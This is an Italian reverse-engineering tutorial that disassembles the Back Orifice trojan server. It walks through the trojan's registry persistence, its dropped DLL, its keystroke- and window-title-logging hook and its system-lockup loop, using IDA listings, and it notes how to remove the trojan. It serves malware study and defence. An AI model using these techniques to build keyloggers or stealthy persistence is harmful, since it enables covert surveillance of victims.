Copy Link
Add to Bookmark
Report

Reversing BOServer

DrWatson's profile picture
Published in 
guide hacker
 · 6 years ago

LETTERATURA
------------

Iczelion's Guide to Winsock Programming (in Italiano su RingZ3r0)
WIN32 Api Guide
MSDN Library Visual Studio 6

TOOLS (CHE IO USO :)
--------------------

SoftIce 3.23 (o 4.0 !!!)
BoundsChecker C++ v6.01
IDA Pro v3.8b

Premessa: il funzionamento del BO
---------------------------------

Il Bo consta di 2 parti: server & client. Il server risiede sulla macchina da hackare, il client su quella dell''hacker' (se così possono essere definite le persone che ne fanno uso, altro termine più appropriato sarebbe 'lamerone bastardo'). Così il client, attraverso la rete, manda le richieste al server, il server le soddisfa sulla macchina su cui risiede, e manda l'esito delle operazioni al client.

Reversing BoServer
------------------

Salve a tutti i naviganti, che forse, dopo aver letto questa ish, chiuderanno la connessione e butteranno il modem dalla finestra :).
Provate a ricercare in un motore di ricerca 'Back Orifice', oppure 'Bo Server' e poi, perchè no, anche 'Nobo'... fatevi un po' di cultura sull'argomento e poi continuate

Ok, ora che sapete cos'è il BO sarete forse anche curiosi di sapere come funziona, e in questa ish analizziamo il lato server (quello che fa più male ;).

Prima di tutto disassemblate con IDA il file server (mi raccomando a stare attenti con l'esecuzione del boserver, può avere diversi nomi, e dopo l'esecuzione lo ritrovate in \windows\system\ .exe, si proprio ' ..exe'). Infatti analizzando il file con il BoundsChecker, si nota che il server si autocopia nella directory \windows\system come .exe, si autocancella dalla posizione corrente e crea nel registro di windows una chiave per autoavviarsi ad ogni avvio (HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices). A questo punto la macchina è 'infetta' e il server accoglierà ogni richiesta dei client BO (se provate in locale lo potrete constatare). Naturalmente basta cancellare la chiave del registro '(Predefinito) .exe' e al successivo riavvio il Server è disattivato.

 
SNiPPeT


Per analizzare meglio il file bisogna fare in modo che, quando si autocopia, cambi il proprio nome in maniera diversa da ' .exe', per esempio 'a.exe'. Non crediate che questa operazione eviti il caricamento corretto del server: se fate in modo che il file si autorinonimi in a.exe, nella chiave di registro ..\Windows\CurrentVersion\RunServices troverete a.exe. Infatti questo cambiamento si attua modificando la stringa ' .exe' in 'a.exe' nel file del server, quindi per tutte le operazioni sarà usata la stringa a.exe. Anche in SoftIce se non cambiate il file a digitate 'task' nella vostra lista di task attivi troverete uno spazio vuoto. Dopo aver patchato il file tra i task ci sarà, ad esempio, a.

 
end SNiPPeT


L'inizializzazione del socket è all'indirizzo 00404244 con la funzione WSOCK32_115 che potreste rinominare con _WSAStartup.

 
..text:00404238 8D 85 1C D0 FF FF lea eax, [ebp+WSAData]
..text:0040423E 50 push eax
..text:0040423F 68 01 01 00 00 push 101h
..text:00404244 E8 5F 75 00 00 call _WSAStartup


I parametri quindi passati alla funzione, naturalmente in ordine inverso, sono il puntatore alla struttura WSAData e la versione del socket (1.1 in questo caso).

Dopo la creazione del socket il server non si butta a capofitto nella apertura dei 'servizi', ma crea attorno a sè un ambiente in cui vengano implementate tutte le funzioni.
Ad esempio per il keyboard / console hooking il server crea on-the-fly ad ogni avvio windll.dll (la trovate nella directory \system) che esporta due funzioni

 
1 _KeyHookProc@12
2 _ConsoleHookProc@12


Il server, per assicurarsi che la dll sia la sua, la cancella ogni volta che viene avviato e poi la ricrea. Siccome la dll è hardcodata nel file, il server usa SetFilePointer, poi legge nel file il codice della dll e mette tutto in un buffer ed infine crea il file con i dati del buffer.
Il codice della creazione è:

 
004042FB 8D 85 90 F5 FF FF lea eax, [ebp+FileName]
00404301 53 push ebx
00404302 68 80 00 00 00 push 80h
00404307 6A 02 push 2
00404309 53 push ebx
0040430A 53 push ebx
0040430B 68 00 00 00 C0 push 0C0000000h
00404310 50 push eax
00404311 FF 15 5C 24 42 00 call ds:CreateFileA ; CreateFileA:
00404317 8B F0 mov esi, eax
00404319 57 push edi ; HRSRC
0040431A 53 push ebx ; Hmodule
0040431B FF 15 74 24 42 00 call ds:SizeofResource ; SizeofResource
00404321 89 45 EC mov [ebp+FileSize], eax
00404324 3B C3 cmp eax, ebx
00404326 74 12 jz short loc_0_40433A
00404328 53 push ebx
00404329 8D 45 D8 lea eax, [ebp+STROverlapped]
0040432C 50 push eax ; BytesWritten
0040432D FF 75 EC push [ebp+FileSize] ; BytesToWrite
00404330 FF 75 E8 push [ebp+lpBuffer] ; Buffer
00404333 56 push esi ; FileHandle
00404334 FF 15 8C 24 42 00 call ds:WriteFile ; WriteFile:
0040433A loc_0_40433A:
0040433A 56 push esi
0040433B FF 15 D8 24 42 00 call ds:CloseHandle ; CloseHandle:
00404341 FF 75 E8 push [ebp+lpBuffer]
00404344 FF 15 70 24 42 00 call ds:FreeResource ; FreeResource:


Se provate a cancellare questa dll e azionate il keyboard hooking dal client leggerete un messaggio di errore nella finestra del client (Error 1157:Impossibile trovare uno dei file della libreria necessari per eseguire l'applicazione loading DLL).

Le chiamate successive inerenti al socket sono:
_CreateSpecSock (WSOCK32_23), creazione del socket
_ConvToTCP (WSOCK32_9), conversione dell'indirizzo in formato TCP/IP
_LinkAddrToSock (WSOCK32_2), bind, cioè assegna un indirizzo al socket

Le richieste del client sono gestite da un apparato 'switch case' di 64 casi totali, tra cui la gestione degli errori (unknown command e unimplemented function):

 
..text:00404A58 83 F8 3F cmp eax, 3Fh ; switch 64
cases
..text:00404A5B 77 07 ja short loc_0_404A64 ; default
..text:00404A5D FF 24 85 BB 99 40+jmp ds:off_0_4099BB[eax*4] ; switch jump
..text:00404A64 68 8C 7B 41 00 loc_0_404A64:
..text:00404A64 push offset str->UnknownCom ; default
..text:00404A69 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory]
..text:00404A6F 50 push eax
..text:00404A70 E9 7E 4E 00 00 jmp loc_0_4098F3


In questa ish analizzeremo le funzioni (a mio parere) più interessanti ;> che il server mette a disposizione del client:
- KeyLog (begin/end)
- System Lockup

KEYLOGGING
----------

Come ho prima affermato il codice della funzione per loggare la digitazione dei tasti non risiede nel server, ma nella dll da lui creata (windll.dll).

 
..text:00405656 8D 85 3C FD FF FF KeyLog:
..text:00405656 lea eax, [ebp+MessageBuffer] ; case 0x7
..text:0040565C 50 push eax
..text:0040565D E8 7E 61 00 00 call MessageLength ; ret
(eax=length)
..text:00405662 83 C4 04 add esp, 4
..text:00405665 85 C0 test eax, eax
..text:00405667 0F 84 79 42 00 00 jz loc_0_4098E6
..text:0040566D 39 1D 50 71 41 00 cmp HookHandle, ebx


In questa parte dell'applicazione viene ricevuto il messaggio di keylogging e viene effettuato un controllo per assicurarsi che non sia già stato avviato. Infatti se la variabile HookHandle è contiene l'handle del processo di hooking allora viene generato un messaggio di LoggingInProgress

 
..text:00405673 74 11 jz short InitKeyHook ;---+
..text:00405675 68 60 81 41 00 push offset str->LoggingInP ; |
..text:0040567A 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory] ; |
..text:00405680 50 push eax ; |
..text:00405681 E9 6D 42 00 00 jmp loc_0_4098F3 ; |
..text:00405686 InitKeyHook: ;LoggingKey
..text:004057AD 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory]
..text:004057B3 50 push eax
..text:004057B4 E8 F7 62 00 00 call sub_0_40BAB0
..text:004057B9 E9 3A 41 00 00 jmp loc_0_4098F8


Ma ora vediamo in cosa effettivamente consiste la funzione di keyhooking ( hey Neural ;) così come sviluppata nella windll.dll.

 
..text:10001056 68 70 33 00 10 push offset str->Bofilemapp
..text:1000105B 6A 00 push 0
..text:1000105D 6A 02 push 2
..text:1000105F FF 15 E8 40 00 10 call ds:OpenFileMappingA
..text:10001065 8B F0 mov esi, eax
..text:10001067 85 F6 test esi, esi
..text:10001069 75 07 jnz short loc_0_10001072
[...]
..text:10001072 loc_0_10001072:
..text:10001072 6A 00 push 0
..text:10001074 6A 00 push 0
..text:10001076 6A 00 push 0
..text:10001078 6A 02 push 2
..text:1000107A 56 push esi
..text:1000107B FF 15 E4 40 00 10 call ds:MapViewOfFile
..text:10001081 8B F8 mov edi, eax
..text:10001083 68 6C 33 00 10 push offset str->A
..text:10001088 57 push edi
..text:10001089 FF 15 14 41 00 10 call ds:fopen
..text:1000108F 83 C4 08 add esp, 8
..text:10001092 8B D8 mov ebx, eax
..text:10001094 57 push edi
..text:10001095 FF 15 E0 40 00 10 call ds:UnmapViewOfFile
..text:1000109B 56 push esi
..text:1000109C FF 15 F8 40 00 10 call ds:CloseHandle
..text:100010A2 85 DB test ebx, ebx


Il file in cui viene loggato l'input da tastiera è ora aperto e accessibile con un handle

 
..text:100010A4 0F 84 E4 04 00 00 jz Error
..text:100010AA FF 15 50 41 00 10 call ds:GetFocus
..text:100010B0 39 05 10 30 00 10 cmp dword_0_10003010, eax
..text:100010B6 8B E8 mov ebp, eax
..text:100010B8 0F 84 85 00 00 00 jz loc_0_10001143
..text:100010BE 68 68 33 00 10 push offset str->-> ; formato
..text:100010C3 8B 35 3C 41 00 10 mov esi, ds:fprintf
..text:100010C9 53 push ebx ; puntatore al file
..text:100010CA FF D6 call esi (=fprintf)


La funzione fprintf lavora così: acquisisce il puntatore alla struttura file (ebx in questo caso) e il tipo di formattazione da usare (->). Se non è specificata la formattazione la funzione utilizzerà di default %. Quindi la prima cosa che il server scriverà nel file di logging è -> seguito, come vedremo dal titolo della finestra in cui si digita il testo.

 
..text:100010CC 8D 84 24 20 01 00+lea eax, [esp+520h+WindTextBuf]
..text:100010D3 83 C4 08 add esp, 8
..text:100010D6 89 2D 10 30 00 10 mov dword_0_10003010, ebp
..text:100010DC 68 00 04 00 00 push 400h
..text:100010E1 50 push eax
..text:100010E2 55 push ebp
..text:100010E3 FF 15 58 41 00 10 call ds:GetWindowTextA


Con questa funzione viene ricevuto il titolo della finestra.

 
..text:100010E9 85 ED test ebp, ebp
..text:100010EB 74 49 jz short loc_0_10001136
..text:100010ED loc_0_100010ED:
..text:100010ED 55 push ebp
..text:100010EE FF 15 54 41 00 10 call ds:GetParent
..text:100010F4 8B E8 mov ebp, eax
..text:100010F6 68 00 04 00 00 push 400h
..text:100010FB 8D 84 24 1C 01 00+lea eax, [esp+51Ch+WindTextBuf]
..text:10001102 50 push eax
..text:10001103 55 push ebp
..text:10001104 FF 15 58 41 00 10 call ds:GetWindowTextA
..text:1000110A 8D BC 24 18 01 00+lea edi, [esp+518h+WindTextBuf]
..text:10001111 B9 FF FF FF FF mov ecx, 0FFFFFFFFh
..text:10001116 2B C0 sub eax, eax
..text:10001118 F2 AE repne scasb
..text:1000111A F7 D1 not ecx
..text:1000111C 49 dec ecx
..text:1000111D 74 13 jz short loc_0_10001132
..text:1000111F 8D 84 24 18 01 00+lea eax, [esp+518h+WindTextBuf]
..text:10001126 50 push eax
..text:10001127 68 60 33 00 10 push offset str->S
..text:1000112C 53 push ebx
..text:1000112D FF D6 call esi (=fprintf)


Qui viene scritto nel file il titolo della finestra poichè a fprintf sono passati:
- eax = testo da scrivere, cioè il titolo della finestra in cui si sta digitando
- str->S = formattazione della stringa, questa volta ['%s'], quindi di tipo string
- ebx = puntatore al file

 
..text:1000112F 83 C4 0C add esp, 0Ch
..text:10001132 loc_0_10001132:
..text:10001132 85 ED test ebp, ebp ; ebp = 0 se non ci sono
altre
; finestre
..text:10001134 75 B7 jnz short loc_0_100010ED
..text:10001136 loc_0_10001136:
..text:10001136 68 5C 33 00 10 push offset ACapo ; 0A
..text:1000113B 53 push ebx
..text:1000113C FF D6 call esi (=fprintf)


Quando la struttura della finestra in cui l'infetto scrive è stata sufficientemente analizzata viene scritto nel file il byte di CarriageReturn (0A)

 
..text:1000113E 83 C4 08 add esp, 8
..text:10001141 EB 06 jmp short loc_0_10001149
..text:10001143 loc_0_10001143:
..text:10001143 loc_0_10001143:
..text:10001143 8B 35 3C 41 00 10 mov esi, ds:fprintf
..text:10001149 loc_0_10001149:
..text:10001149 F6 84 24 25 05 00+test byte ptr [esp+518h+HookHandle+1], 20h
..text:10001151 74 0C jz short SwitchCase
..text:10001153 53 push ebx
..text:10001154 6A 5E push 5Eh
..text:10001156 FF 15 38 41 00 10 call ds:fputc
..text:1000115C 83 C4 08 add esp, 8
..text:1000115F SwitchCase:
..text:1000115F 8B AC 24 20 05 00+mov ebp, [esp+518h+HookCode]
..text:10001166 8D 4D FF lea ecx, [ebp-1]
..text:10001169 81 F9 FD 00 00 00 cmp ecx, 0FDh
..text:1000116F 77 0F ja short loc_0_10001180
..text:10001171 33 C0 xor eax, eax
..text:10001173 8A 81 5C 17 00 10 mov al, ds:byte_0_1000175C[ecx]
..text:10001179 FF 24 85 EC 15 00+jmp ds:off_0_100015EC[eax*4]
..text:10001180 loc_0_10001180:


Il codice sopra serve per analizzare l'input da tastiera: con una struttura Switch Case vengono gestiti i diversi tasti, dai Control a quelli del tastierino numerico... Quando viene acquisito il tasto la funzione aggiorna il file e lo chiude. Tutto ricomincierà quando viene premuto un altro tasto

KEYLOGGING END

SYSTEM LOCKUP
-------------

Come fa il server a bloccare il computer?
Il sistema utilizzato dai ragazzi del Cult_of_the_dead_Cow è tanto semplice quanto ingegnoso :).

 
..text:00409970 MachineLock: ; case 0x3
..text:00409970 33 F6 xor esi, esi
..text:00409972 8D 45 AC lea eax, [ebp+var_54]
..text:00409975 56 push esi
..text:00409976 56 push esi
..text:00409977 56 push esi
..text:00409978 FF 75 E3 push [ebp+Action+3]
..text:0040997B 68 C8 8C 41 00 push offset str->LockingUpM
..text:00409980 50 push eax
..text:00409981 FF 75 E4 push [ebp+var_1C]
..text:00409984 E8 E1 78 FF FF call DataSender


Il server invia il messaggio al client per assicurargli che l'operazione è stata svolta

 
..text:00409989 83 C4 1C add esp, 1Ch
..text:0040998C 68 D0 07 00 00 push 7D0h
..text:00409991 FF 15 A4 24 42 00 call ds:Sleep
..text:00409997 68 00 01 00 00 push 100h
..text:0040999C FF 15 D0 24 42 00 call ds:GetCurrentProcess
..text:004099A2 50 push eax
..text:004099A3 FF 15 1C 24 42 00 call ds:SetPriorityClass


Il server passa la propria priorità a realtime (push 100)

 
..text:004099A9 loc_0_4099A9:
..text:004099A9 56 push esi
..text:004099AA 56 push esi
..text:004099AB E8 A0 3A 00 00 call sub_0_40D450
..text:004099B0 50 push eax
..text:004099B1 6A 09 push 9
..text:004099B3 FF 15 20 26 42 00 call ds:SetWindowsHookExA
..text:004099B9 EB EE jmp short loc_0_4099A9


Viene installato in maniera ricorsiva un hook di tipo Debug in un loop infinito :P


SYSTEM LOCKUP END


Ultime considerazioni
---------------------

Le altre funzioni implementate dal server non sono niente di particolare (dal punto di vista del reversing) e lascio alla vostra curiosità la loro esplorazione.

Hey boyz, non perdetevi la prossima tute sul NOBO ;)


Ring-raziamenti
Naturalmente non posso non salutare tutti i members di RingZ3r0, e tutti coloro che frequentano #crack-it. Sperando di incontrarvi al prossimo Hack-it Little-John

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT